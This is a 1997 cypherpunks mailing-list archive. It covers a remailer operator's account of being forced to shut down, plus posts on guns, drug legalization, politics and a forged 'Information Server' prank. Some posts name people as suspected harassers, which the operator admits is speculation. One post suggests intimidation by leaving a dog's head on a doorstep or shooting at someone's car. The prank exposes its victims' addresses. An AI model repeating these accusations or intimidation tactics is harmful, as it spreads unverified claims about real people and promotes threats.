that was orchestrating this attack, it would have stopped, one way or
another.  The problem is, I don't know all the players (I have some
suspicions, which I'll elaborate on further in a little bit) but I don't
_really_ know who did it, and I really don't know why (other than a "I
don't like remailers, I think I'll shut one down").  And I really don't
know the background or what precipitated this.

: > But I have to ask. Could this
: > just be an" I'm sick of this shit, f**k it, I quit, who needs this
: > aggravation, I'll just pull the plug and go have a beer" reaction
: > to what really seems like a fairly small problem.

It is not a small problem anymore when you're getting >200 complaint
messages a day, plus 5-10 phone calls to your employer (and your
employer's legal department).  Fortunately, Wired is a very progressive
company, and supported my efforts to provide anonymity, but our lawyers
aren't paid to answer phone calls on my behalf.  Running a remailer is
one thing... getting harassed at work is an entirely different matter, and
getting a THIRD PARTY harassed at work is yet another one.

But yes, The ultimate "take this thing down" decision was one made
because I was sick of this bullshit.  But you know what?  I volunteer
my time, my computer equipment, and bandwidth that is given to me
as part of my salary.  I do (well did) all of this because I believe
that anonymity is a right, and because I have the capabilities of
helping to provide anonymity to the masses.  When the remailer was
self-sufficient (before the attacks started), it took maybe 10 minutes
of my time a day, and minimal resources on my machine.  Afterwards,
even after I put in the auto-blocking feature (send a blank message
to a particular address and get your address blocked) and the
autoresponder on the remailer-admin account, I was still getting >100
messages a day reporting abuse... almost all of it spam-bait related.
I receive no benefit from running the remailer (I don't even use it
myself), and when it becomes a fairly major hassle without any
rewards, the decision is not a hard one to make.

And frankly, I already have enough to do, and get enough mail on a
daily basis (at last check it was hovering around 600 messages/day).
As soon as the remailer started taking up a lot of my time, it became
time to rethink why I was running it.  The moment that the spam-baiter
started alerting people who had been baited, and telling them to
contact me, it became personal.  And I don't have time to get into
personal pissing-contests.  Yes, I took the easy way out, but that
was my choice to make.

Anyone who doesn't run a remailer has very little right questioning my
 choice, because you have no idea what precipitated it.  Most people
reading this group have the capabilities of running a remailer (it only
takes a POP account and a Windows machine to run the Winsock remailer),
but very few of us actually do.  Why is that?  I've been running huge.
cajones for just under 2 years, and it averaged just over 3000 messages
a day, so my remailer was responsible for about 2 million anonymous
messages in its lifetime.  I think I've done my part (at least for now),
it's time for someone else to do theirs.  If we had 15 disposable remailers
that operated for 2-3 months each before moving/going away, we'd have
paths for millions more anonymous messages.  And isn't that what we're
really trying to provide?

: The first was doing questionable things, like installing content-based
: filtering in an attempt to placate the attacker.  Giving in to the demands

When I first put the filters in, I was entirely unaware of exactly what
the hell was going on.  It seemed that someone had a bone to pick with
databasix, and was using the remailer to get databasix harassed by
third parties.  So, Burnore's complaint seemed reasonable at the time, and
I tried to come up with a way to block spam-bait abuse, without blocking
anything else (like a reply to burnore in Usenet).

See, if someone was doing to me what they appeared to be doing to Burnore,
I would be pissed.  I figured placating him would be the best thing to
do.  In hindsight, I was wrong, but at the time, it seemed like the correct
decision.  (Also at the same time, the SPA threatened Wired with a
lawsuit because of The MailMasher, so things were a little tense between
me and the legal department already, I didn't need to make them any worse.)

The final content-based-filter (there was an interim one) looked for the
 following things:

1. Any address at databasix (Yes, at the request of Burnore)
2. Any address from my destination block list
3. More than 5 addresses in a row, one line each, without other content
   in-between.
4. Patterns of particular Usenet groups.
5. Particular subject lines.

If any THREE of these items were spotted, the message got thrown into a
reject bin.  I periodically examined the reject bin, and can personally
attest that it didn't block ANYTHING that it wasn't intended to.  (The
test posts reeked of spam-bait to me, and I believe were correctly
blocked)

FWIW, the filters were removed about a week ago.

Because the filters were looking for a specific form of ABUSE, and not
just doing basic pattern matches, I don't consider them to be "content
filters".  I would think that just about anyone would agree that
posting lists of email addresses to mlm newsgroups would qualify
as abuse, and _should_ be blocked.   Blocking of this nature does NOT
restrict free speech (or at least that is not the intentions of it), and
it would keep the remailer out of lawsuit territory.

See, the big problem with lawsuits is not the fact that _I_ don't want
to be sued.  The problem is that anyone with half a brain can determine
that Wired is somehow related to any remailer that I am running on their
bandwidth.  Wired has deeper pockets than Mr. Burchell, so they are a
much better group to sue... and they are a lot more willing to give
in to a threat than I am.

: What I *MIGHT* have done was to respond as follows:
:
:    Your legal demands are unacceptable.  I'd rather close the remailer than
:    compromise its integrity to suit your whims.  But understand this -- unless
:    you withdraw your demands, I will not only close the remailer but also make
:    damn sure all of its users know exactly who forced me to take this action!

I did respond in a fashion much like this, about a week before the attacks
started coming.  Mr. Burnore requested a copy of my (non-existant) logs.
I told him to get me something in writing, signed by his lawyer that
stipulated that the logs were confidential, and not to be revealed to
anyone outside of the lawyer's office.

I received a letter from Belinda Bryan.  She is not registered with the
State Bar of California, and is thus, not a California lawyer.  I then
ignored the request, and forwarded the correspondence to the State
Attorney General's office (as impersonating a lawyer in CA is defined
as fraud with extenuating circumstances).  They have been working with
me and the San Francisco DA's office.  Look out DataBasix... I'm not done
with you yet.

: The second mistake I perceive is not fully disclosing the circumstances that
: brought down Huge Cajones, and *NAMING NAMES*.  That way, even if the remailer
: shuts down, other remailer operators will learn about the tactics employed
: against it, know *WHO* made the demands, etc.  IOW, when you get an innocent
: sounding, polite complaint from xxxx@yyy.com alleging "abuse", here's the
: scenario that's likely to follow ...  (It's not too late to make that
: disclosure, Jeff.)

In fact, now is the time to.  Making a disclosure like this while I
was still running the remailer would have probably been a bad move.
Now that the remailer is closed, I'll name the names that I've got.

Beware... all of this is speculation, because huge.cajones was an
anonymous service, not even I can say with any authority that any
of the people named below had anything to do with the shutdown of
huge.cajones (or The MailMasher).  However, there are a number of
coincidences of timing.

I still don't know what the hell is going on with DataBasix, Wells Fargo
and Gary Burnore, but I suspect that someone used huge.cajones to say
something extremely unflattering about Burnore (from what I can tell,
he had it coming).  Burnore then decided that he would make things
difficult for me.  First, he wanted the user who had posted something
"inflammatory" about him revealed.  When I told him that I couldn't
do that, he carried on about mail logs and identifying the host that
a message came from (the usual).  I didn't explain to him that my
machine keeps logs, but not anything involving a *@cajones.com
address.  He then requested the logs, which I denied (and told him
to get his lawyer to send a request...)

I'll admit, after my second or third contact with Mr. Burnore, I
no longer was particularly civil with the guy.  He's a kook, and
really didn't deserve my courtesy.

Between the time he first contacted me, and the time I received the
letter from Belinda Bryan, is when the baiting of databasix addresses
began (slowly, with just a few posts).  After a while, I received
requests from the other members of DataBasix (including William McLatchie
(sp) (aka wotan) who actually seems to be a remailer supporter (?)).

It was at this point that I realized something was completely amiss.
I asked McLatchie to please tell me the story of DataBasix, and he
said that he was going to, but never did.  Anyone who can tell me
the story is invited to do so.

As a side note (and just because I am naming names).  Peter Hartly
(hartley@hartley.on.ca) yesterday spam-baited me.  Fortunately,
I've got good filters in place.

As another side note, I've seen nothing to make me believe that Belinda
Bryan is even a real person.  Anyone?

: > Given the importance of what Jeff was doing, I hope that he
: > did all that he could, before declaring defeat. If that is the case,
: > I commend him for a job well done. If not, why?

I can't claim to have done _everything_ that I could have done, but I
did certainly make an effort.  I'm not willing to go to court to defend
a practice like spam-baiting (and given the current public-opinion situation
and impending anti-UCE legislation, this would be a terrible test-case).

I am not new to threats of lawsuit, even ones that come from legitimate
lawyers.  About 8 months previous, I was threatened repeatedly by the
legal wing of the "Church" of Scientology.  I answered with a letter
from my lawyer that explained the policies of the remailer, and
threatened a harrassment lawsuit if the "Church" contacted me again asking
for information (that they now knew I didn't have) about a remailer user.
They complied, and went away (and haven't been too difficult with
other remailer operators lately).

: Agreed.  Otherwise, these "asshole(s)" are simply going to do it all over
: again against another remailer, eventually taking them all down one at a time.
Except that right now, new remailers are springing up.  If we could get
three more online for every one shut down, it wouldn't much matter, would
it?  I may very well end up running a mailer again in the future, but if
I do, it will probably be either a throwaway exit-man or a truely anonymous
middleman (i.e. nobody will actually know who is running it).  It also
will probably be hosted outside of the United States (Floating in
international waters with a sat feed would be nice).

: It's time for them to stand up and say "Next time you come for one of us
: he's
: not going quietly as the others have.  You'll have to face ALL of us at once,
: instead."

Aah, you imagine much more solidarity among remailer operators than actually
exists.  It doesn't work that way.  It would be nice if it did, but many of
us are running remailers on borrowed bandwidth (or have other "situations"
to be concerned about).  Being the squeaky wheel is not always a good idea
for many of the operators (most of whom try to keep a low profile).

The reality is, for all the good they do, remailers are tools that can
very easily be abused.  And, as the internet gets more and more commonplace,
the average Joe and Joesphine, who don't have the strict Cyber-Libertarian
viewpoints that are shared by most of us old-timers, will start to wonder
just why anyone would want to run a service that allows anyone to speak their
mind without fear of reprisal.  When you get people with more extreme
viewpoints (the ones who have a really legitimate need for anonymity) posting
all kinds of stuff to all kinds of places, it will get the attention of
Middle-America, which will then bring it to the attention of legislators.
Any time a legislator can say "This is a blow to Child Pornographers and
others who hide behind anonymity to commit crimes without fear of reprisal"
you can guarantee that the bill will pass.

When that happens, we're in trouble.  America is scared of computers, and
remailers are thought to be havens for the big 3 (Terrorists, Organized
Crime and Child Pornographers).  Now that the spammers are involved
(spammers possibly being hated more than the big 3), most users are
exposed to anonymous remailers in negative ways (Imagine what you would
think if the first time you heard about the existance of remailers, it
was because someone had spam-baited you, and then told you about it).

The right to anonymity in the US will be legislated away within 18 months,
partially because of spam.  I do hope there's a _good_ test case waiting,
and someone willing to fight it to the end, but I have my doubts.  Ultimately
the remailer network will be forced to move offshore, the way Crypto
development currently has.

Don't like the News?  Go out and make some of your own.

-Jeff

|o|                                                   |o|
|o| Jeff Burchell                     toxic@wired.com |o|
|o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o|
|o|     I am not speaking for anyone but myself.      |o|
|o|                                                   |o|

--- END INCLUDED MESSAGE ---

This article is archived in DejaNews under their "old" database if you
wish to verify its authenticity.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Nov 1997 12:51:12 +0800
To: cypherpunks@toad.com
Subject: OECD on E-Commerce Tax
Message-ID: <1.5.4.32.19971118044218.00c09c00@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer an HTML version of OECD's paper:

   "Electronic Commerce: The Challenges to Tax Authorities 
   and Taxpayers"

   An Informal Round Table Discussion between Business 
   and Government

   To be held at the Marina Palace Hotel, in Turku, Finland 
   on Tuesday 18th November 1997

   http://jya.com/turku18.htm  (122K)

This is part of the documentation for a three-day conference
on "Dismantling the Barriers to Global Electronic Commerce,"
November 19-21, Turku, Finland, sponsored by the Government
of Finland and OECD, with help of the European Commission, 
Japan and BIAC, described at:

   http://www.oecd.org/dsti/iccp/e-comm/dismantl.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 18 Nov 1997 08:08:19 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711142245.QAA05891@dfw-ix4.ix.netcom.com>
Message-ID: <6jdrcEm2QGt4Ocy3i4WTCw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> In every other instance in which Tim has discussed capital punishment,
> it has been in the context of a trial.

Timmy said that OJ Simpson should be shot without trial.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 18 Nov 1997 12:56:09 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: See How They Lie (fwd)
Message-ID: <199711180448.XAA25096@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



http://www.boston.com/dailyglobe/globehtml/317/See_how_they_lie.htm

SEE HOW THEY LIE

By Jeff Jacoby, Globe Columnist, 11/13/97 

This column is about lying, so let me just confess, full-disclosurewise,
that I have on occasion failed to tell the truth, the whole truth, and
nothing but the truth. Like everyone else, I learned early on that
honesty is sometimes the best policy - for getting in trouble. My father
often warned my siblings and me that if we got caught doing something
wrong, we would be punished, but if we got caught lying, the punishment
would be doubled. Naturally, we lied, hoping not to get caught at all.
Sometimes it even worked.

So, yes, I've told my share of fibs and fabrications. But it is one thing
to bend the truth in hopes of not being punished. It is something rather
different to shamelessly falsify one's personal history in order to score
cheap political points.

Which brings us to James Ware, a federal judge nominated by President
Clinton to the US Court of Appeals for the Ninth Circuit. 

For years, Judge Ware has been telling a heartbreaking story about his
youth in Birmingham. It occurs during the racial turmoil of 1963, shortly
after the deadly bombing of the Sixteenth Street Baptist Church. James is
bicycling to a football game; his kid brother Virgil, a 13-year-old, is
riding on the handlebars. Suddenly two white racists open fire.

The gunshots knocked Virgil off the bike, Judge Ware recalled in a 1994
interview with the San Jose Mercury News, one of many occasions on which
he has told the story. ''He died there by the side of the road.''
Understandably, the murder of his brother left a deep mark. ''What
happened to me,'' Ware said, ''was a defining experience, a turning point
in my life.''

As well it might have been - if it were true. A young man named Virgil
Ware was murdered in Birmingham in 1963, but he was no relation to the
judge. To further his own career, James Ware simply helped himself to
another family's grief and martyrdom. Not until last week, when an
Alabama paper tracked down Virgil Ware's true relatives and confronted
Judge Ware with the facts, did he admit being a liar. 

Obviously his nomination to the Ninth Circuit is blown. But the president
shouldn't give up on Ware quite yet. This faker would be perfect for the
administration. After all, someone prepared to lie so brazenly about his
own past ought to feel right at home with the Clinton-Gore crowd.

Consider former Labor Secretary Robert Reich, who just published a memoir
filled with stormy scenes that never happened. In one episode, he
describes a 1995 appearance before the Joint Economic Committee. As Reich
tells it, US Representative Jim Saxton, the Republican chairman, flayed
him mercilessly. ''Where did you learn economics, Mr. Secretary?''
Saxton demands. Then, pointing to a chart, Saxton jumps up and down in
his chair, crying ''Evidence! Evidence!''

Pure fiction, discovered Jonathan Rauch, a respected Washington editor,
when he checked the transcript. ''I was flabbergasted,'' Rauch wrote in
Slate, ''so I checked the C-SPAN tapes, and they leave no doubt. Reich
appears to have fabricated much of this episode for dramatic effect.
Saxton was, in fact, decorous and polite. He did not jump up and down ...
he did not shout `Evidence! Evidence!''' Most of the quotations Reich
attributes to Saxton ''appear never to have been said at all.''

Reich doesn't deny making up events and quotations. ''These are my
perceptions,'' he shrugs. ''I might have goofed.'' Mmm-hmm. The same way
Judge Ware ''goofed.''

At least Reich never exploited the death of a close relative. Vice
President Al Gore, by contrast, mesmerized the 1996 Democratic convention
with the story of his sister's death from lung cancer 12 years earlier.
Gore detailed his ''final hours'' with Nancy and said the ''nearly
unbearable pain'' of her death made him take a vow: ''Until I draw my
last breath, I will pour my heart and soul into the cause of protecting
our children from the dangers of smoking.''

Very moving. But Gore almost certainly made no such vow. For years
following Nancy's death, he pocketed annual earnings from his family's
tobacco crop. In 1988 he boasted to North Carolina voters, ''I raised
tobacco. I want you to know that with my own hands, all of my life, I put
it in the plant beds and transferred it. I've hoed it. I've chopped it.
I've shredded it, spiked it, put it in the barn and stripped it and sold
it.''

When challenged on the inconsistency, the VP explained that ''you never
fully learn the lessons that life has to teach you.'' How profound.
Sounds like just the guy James Ware would enjoy working for.

Then there is Clinton himself, who is not above exploiting any tragedy if
there is political benefit in it. During the rash of church burnings in
1996, Clinton solemnly told a national radio audience that he has ''vivid
and painful memories of black churches being burned in my own state when
I was a child.'' 

It must indeed have been a traumatic experience. Except - there weren't
any black churches burned in Arkansas when Clinton was a child. The
Arkansas Democrat-Gazette checked: Not one civil rights leader or
historian could confirm Clinton's ''memories.'' Once again the president
had ''told a lie designed to make him look good,'' the paper concluded.

Spinning lies to look good seems to be a specialty of the administration.
Tell me Ware wouldn't fit right in.

Jeff Jacoby is a Globe columnist. 

This story ran on page A29 of the Boston Globe on 11/13/97. 
(c) Copyright 1997 Globe Newspaper Company.




Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

"The reason worry kills more people than work is that more people worry
 than work" -- Robert Frost (1874-1963)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Abstruse <Abstruse@technologist.com>
Date: Tue, 18 Nov 1997 13:51:18 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: [cpe:4563] Tim May's defensive racism (was: about RC9) (fwd)
In-Reply-To: <199711180415.WAA20098@einstein.ssz.com>
Message-ID: <34712BC1.A6F@technologist.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
>   The whips and chains are the best part...
>   The Eskimos have something like 30 different words for "snow." If you
> or I want to 'talk snow' with an Eskimo, our "method of expression"
> (language) will be affected by the "basic fundamentals" by which our
> differing languages are constructed. If we filter these already obvious
> differences through different medium of communiations (words, pictures,
> ASCII characters, etc.), then the "fundamental issues" will "change
> radically" according to the number and type of filters that our
> communications are interpreted through.
>   500 years from now, my own biases and bigottries will be revealed
> by the stripping away of the current commonly understood methods
> of misdirection by which I attempt to disguise them, as well as
> disguised by the the future misunderstandings of the unique meaning
> that my current commonly understood methods of communication convey
> to those steeped in the the peculularities of our era.
>   i.e. - People drunk on Scotch, 500 years in the future, will
> understand what I just said, whereas even I, myself, am unlikely
> to understand it in the morning, once I sober up.
> 
> > I would propose...
> 
>   Thanks, but I don't go that way...
> 
> >  -  People are people, people are strange
> >
> >  -  What makes one person happy is guaranteed to piss somebody else off
> >
> >  -  Most people will never figure the first two out even if you tell
> >     them the answers
> 
>   Young and Hettinga are going to be really pissed when they find out
> that you've been dipping into their 'stash'...
> 
> > I'm beginning to think your attention span is tuned to those 30 second
> > blip-verts...and who asked? Are the voices back already?
> 
>   Nope. I'm wearing the aluminum foil hat...
> 
> > >   Reality is that even when the medium evolves to the point where we
> > > can use it to convey the totality of what we are trying to convey, that
> >
> > "convey the totality"? What kind of double-speak bullshit is that?
> 
>   I was hoping that I could slip that one by you.
> 
> > Look junior, the absolutely *ONLY* way to express the 'totality' of an
> > experience is to be the one doing the experience. You can pop all the
> > moddies and daddies you wanna but it's still a pale imitation; a rose it is
> > not in any language. Now unless you have just instantly warped our happy
> > assess into the far flung future we are a long walk from plugging brains
> > together, nic's & protocols not withstanding.
> 
>   Whoa! Sounds like you took a few too many of the 'red' ones...
> 
> > My suggestion, don't quit your day job, assuming your old enough to have a
> > job. They can't tell you're a dawg on the Internet.
> 
>   I'm a 13 year-old dawg, and I'm not wearing any panties.
> (91 in people-years.)
> 
> SaggingTitsMonger


Innuit words for snow..

     Aniugavinirq: very hard, compressed and frozen snow 

     Apijaq: snow covered by bad weather 

     Apigiannagaut: first snow of Autumn 

     Apimajug: snow-covered 

     Apisimajug: snow-covered, but not snowed in 

     Apujjag: snowed-in 

     Aput: snow 

     Aputiqarniq: snowfall on ground 

     Aqillutaq: new snow 

     Auviq: snow block 

     Katakaqtanaq: hardcrust snow that gives way underfoot 

     Kavisilaq: snow roughened by frost 

     Kiniqtaq: compact, damp snow 

     Mannguq: melting snow 

     Masak: wet, falling snow 

     Matsaaq: half-melted snow 

     Mauja: soft, deep snow footsteps sink in 

     Natiruvaaq: drifting snow 

     Pirsirlug: blowing snow 

     Pukajaak: sugary snow 

     Putak: crystalline, breaks into grains 

     Qaggitaq: snow ditch to trap caribou 

     Qaliriiktaq: snow layer of poor quality for an igloo 

     Qaniktaq: new snow on ground 

     Qannialaaq: light, falling snow 

     Qiasuqqaq: thawed snow that refroze with an icy surface 

     Qimugjuk: snow drift 

     Qiqumaaq: snow with a frozen surface after spring thaw 

     Qirsuqaktuq: light snow 

     Qukaarnartuq: crusted snow 

     Sitilluqaq: hard snow" 

SnowMonger (even though not anonymous..yet, subscribing to the
DrunkMonger tendencies)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 18 Nov 1997 18:37:03 +0800
To: cypherpunks@cyberpass.net
Subject: Ben slowly learns
In-Reply-To: <MOPAGGPJEBEOAAAA@mailexcite.com>
Message-ID: <19971118011322.54870@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Nov 17, 1997 at 08:17:32PM -0700, Benjamin Chad Wienke wrote:
> At 09:09 AM 11/17/97 -0800, Kent Crispin wrote:
> >You quite clearly don't know what you are talking about, little boy. 
> >My Dad got me my first gun when I was around 8, 40 some years ago. 
> By
> >the time I was your emotional age (12) I knew that guns weren't toys.
> 
> Well, you got the edge on me there; I got my first when I was 12, but
> my dad let me shoot his .357 Magnum when I was 7.
> 
> I recall a period of time when some punks were following me around
> because I had ratted on one of their friends. I got tired of it, got a
> B-27 silhouette target, and shot out the X-ring with my Para-Ordnance
> P10.45. I nailed the used target to my front door, and started wearing
> a fanny pack, and it was amazing how the punk sightings diminished
> dramatically. 

Sometimes leaving a bloody dogs head on their doorstep works, or 
putting a few rounds in the side of their car...

> I never even had to draw my gun--all I had to do was
> convince them I carried one and was willing to use it effectively if
> necessary. Of course, if you would rather be shot than live with the
> consequences of shooting someone that is your choice. But saying that
> having a gun wouldn't make a difference is pretty ignorant--it can
> make a HUGE difference IF you are willing to use it--and pay attention
> to your surroundings such that you have the gun in hand before you are
> in the middle of a circle of assholes with drawn weapons.

There are many circumstances that don't involve a circle of assholes
with drawn weapons.  Perhaps you have a job that allows you to carry a
gun; most don't.  Perhaps you drive with your weapon on your lap, and
are always on the lookout for snipers; but I doubt it.  Maybe you have
eyes in the back of your head, and can read people's minds, but I
doubt that, too.  The cold fact is, Ben, if I wanted bad enough to
kill you, you would almost certainly be dead, never knowing it
happened.  That's not magic -- you could do the same to me, and if you
gave 10 minutes thought you would realize this is so. 

All this stuff about always being on guard and being totally aware of
your surroundings is silly macho bullshit.  And even if it wasn't,
it's an braindead empty argument -- if you were always on guard and
totally aware of your surroundings you would never need a gun for
anything, anyway.

And Ben, it's not that I would rather be shot than live with the
consequences of shooting someone.  If that really were the choice I
wouldn't give it a second thought.  But that's almost never really the
choice. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 15:24:02 +0800
To: cypherpunks@cyberpass.net
Subject: Overcoming War with Information
Message-ID: <191ec603c49425d3e3971da9d01f0f1f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:

>One of the things that appeals to me about the tools the cypherpunks
>are developing is the likelihood that they will end war.  What
>percentage of wars are instigated and organized by governments?  That
>is, how many wars can we think of in which a war originated in the
>population of country and dragged its unwilling government into the
>fray?  I cannot think of any.

That's a good point.  Cypherpunk technologies should actually _reduce_
the scope of violence, killing, death.  These technologies will
make it easier to bypass regulations and reduce government control.
Free access to communications will make it harder for governments
to use propaganda to direct popular opinion as they have in the past.
People communicating anonymously will be able to express unpopular views
without fear of retribution.

It's ironic that some of the greatest supporters of crypto privacy are
also the ones who call for more killing, who support terrorist actions
like the Oklahoma bombing or a nuclear massacre.  They don't seem to
understand what this technology is all about.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 18 Nov 1997 13:55:22 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <OuM0cZLf4l/0Z1D/Fl/cKA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On or About 16 Nov 97 at 16:30, Tim May wrote Subject: Re: Exporting crypto from Japan:

> Get the RSA chip released widely and quickly. The drug trade in Asia
> could use it right now.

Yes, yes, yes.  This is the kind of talk I like.  Much better than the
talk of nukes, and guns.
 
> (No, this is not a joke. I favor full availability of any and all
> drugs to anyone who wants them. This makes the Triads and Yakuza
> allies in defeating the New World Order. The ComSec 3DES phones are
> a step in defeating the DEA, Interpol, and other police state
> agencies, but the RSA chip would make a lot of such things much more
> interesting.)

Thank you, Tim. You have a very excellent point, here.  All drugs should
be legal.  And I wish I had the balls to write this without using a 
remailer.  But I'm a pot dealer, so I can't.

Thanks for speaking for us.

PotSeller






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 18 Nov 1997 11:15:07 +0800
To: cypherpunks@toad.com
Subject: Re: RTFM-709
Message-ID: <199711180259.DAA11398@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> (sweet fuck-all)

Jason wrote:
> Information Server wrote:
> > For information on the interception of plaintext email,
> > send a reply to this message, with an empty message body
> > and with a subject line -- "RTFM-709".

Jason,
  I have attached a file which includes some of the responses
sent to "Information Server <toto@sk.sympatico.ca>", as well
as a post to the list, apparently from David E. Smith, the
remailer operator at Bureau42, giving the 'correct' address
of the non-existent 'Information Server' supposedly at
Sympatico...and, as a special bonus, a post to the list,
purportedly from you, thanking 'Dave' for the information.

  You are a victim of your own misplaced faith in the great god 
known as WYSIWYG. (What you see, is what you get. -- NOT!)
  If I _am_ <toto@sk.sympatico.ca>, then you have the satisfaction
of knowing that if I suffer a serious regression into my former
violent, psychotic delusional state, that the proper authorities
will likely be able to track me down and prosecute me for you
bizarre, sadistic murder.
  If I am _not_ <toto@sk.sympatico.ca>, well...

  Regardless, whether you are seeking information on email interception
or home-study on how to committ bizarre sex acts with farm animals,
your interest in this information is known to both whomever you send
your request to, as well as everyone who you reply to in regard to
offered information, as well as everyone that the recipients share
your email with _and_ anyone who manages to access the email accounts
or systems of _all_ of the forementioned.
  Since both your real and forged corresponedence has already gone
to private email accounts, public mailing lists, and perhaps to
USENET and beyond, I think you can see the advisability of using
encryption to limit access to the plaintext of your message to
only those you specifically encrypt the message to.

  You may not care if the whole world knows that you want information
on email interception, or even about your fondness for farm animals,
but there are undoubtedly things which you would rather keep between
yourself and the intended recipient.
  If a real 'Information Server' had a verifiable Public Key for
you to encrypt your reply to, then it would not likely matter if you
sent the message to a spoof address, as unknown recipients could
not likely read it. The same applies to your friends, relatives and
bussiness acquaintances. If you use encryption for those things
which are important for you to keep private, then you do not have
to worry as much if they share an email account, computer or system
with friends, family, coworkers or strangers.

  The 'spoof' I did was neither technically complicated nor even
particularly clever. On the other hand, there are a plethora of
people in existence who are both clever _and_ skilled at poking
their noses in wherever they want and doing whatever they like
with the information.

Sincerely,
Louis J. Freeh  (aka TruthMonger)
Director  (aka Lunatic)
Federal Bureau of Investigation  (aka Electronic Forgery Foundation)
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"


>From - Sat Nov 15 20:53:35 1997
Received: from borg.mindspring.com (borg.mindspring.com
[207.69.200.122])
        by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id TAA11966
        for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 19:34:39 -0600
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Comments: Authenticated sender is <mccaskill@[204.180.128.14]>
From: "Tom McCaskill" <mccaskill@mindspring.com>
To: toto@sk.sympatico.ca
Date: Sat, 15 Nov 1997 21:32:32 +0000
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>From - Sat Nov 15 20:53:30 1997
Received: from plato.stic.net (mail.stic.net [204.57.118.5])
        by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id TAA10112
        for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 19:26:02 -0600
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          for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 19:26:07 -0600
From: "joseph gonzales" <polo@stic.net>
To: <toto@sk.sympatico.ca>
Subject: RTFM-709
Date: Sat, 15 Nov 1997 19:23:42 -0600
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----------
> From: Information Server <toto@sk.sympatico.ca>
> To: Jason <rennie@one.net.au>
> Cc: cypherpunks@toad.com
> Subject: Re: Mail interception
> Date: Saturday, November 15, 1997 6:46 PM
> 
> For information on the interception of plaintext email,
> send a reply to this message, with an empty message body
> and with a subject line -- "RTFM-709".

>From - Sat Nov 15 20:53:36 1997
Received: from amiga.amitar.com.au (root@amiga.amitar.com.au
[203.57.242.1])
        by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id TAA17491
        for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 19:58:07 -0600
(CST)
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From: Shane Cracknell <shane@Amitar.com.au>
Reply-To: shane@Amitar.com.au
To: Information Server <toto@sk.sympatico.ca>
Date: Sun, 16 Nov 1997 09:58:27 +0800
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>From - Sat Nov 15 21:19:53 1997
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>From - Sat Nov 15 22:24:16 1997
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From: Ann Oy <annoy@innocent.com>
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>From - Sat Nov 15 22:35:14 1997
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Mailing-List: contact cypherpunks-e-help@htp.org; run by ezmlm
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Date: Sat, 15 Nov 1997 22:23:29 -0600
From: Jason <rennie@one.net.au>
Reply-To: cypherpunks@toad.com
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
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Subject: [cpe:4407] Re: Mail interception
References: <346E2E39.A29AFEE2@one.net.au>
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David E. Smith wrote:
> Jason wrote:
> > So, does anybody know how to or where i can get information on
> > intercepting email from ?
> >
> > Any help that can be provided would be greeatly appreciated.

> Jason,
> Some asshole spoofed the list with the wrong reply address for the
> Information Server at Sympatico. 
> The correct address is: Information Server <ualdv8@sk.sympatico.ca>
> Your subject header should be: "Help"
> The body of the message should contain: "email security"
>
> I hope this helps. 

Dave,
  It worked, thanks. It is a shame that a few jerkoffs have to spoil
the list for everyone else.

regards jason

>From - Sat Nov 15 22:39:32 1997
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Message-ID: <346E77AA.70F7@bureau42.ml.org>
Date: Sat, 15 Nov 1997 22:33:46 -0600
From: "David E. Smith" <dave@bureau42.ml.org>
Reply-To: cypherpunks@toad.com
Organization: Bureau42 Enterprises - An EFF Subsiduary
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To: Ann Oy <annoy@innocent.com>
CC: cypherpunks@toad.com
Subject: Email Interception Information
References: <346E2E39.A29AFEE2@one.net.au>
<4.0.32.19971115201303.00e102f0@postoffice.pacbell.net>
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Ann Oy wrote:
>

Ann,
  The correct address for the Information Server at Sympatico is:
Information Server <ualdv8@sk.sympatico.ca>
  Use a subject header of "Help" and put "email security" in the
message body.

Dave






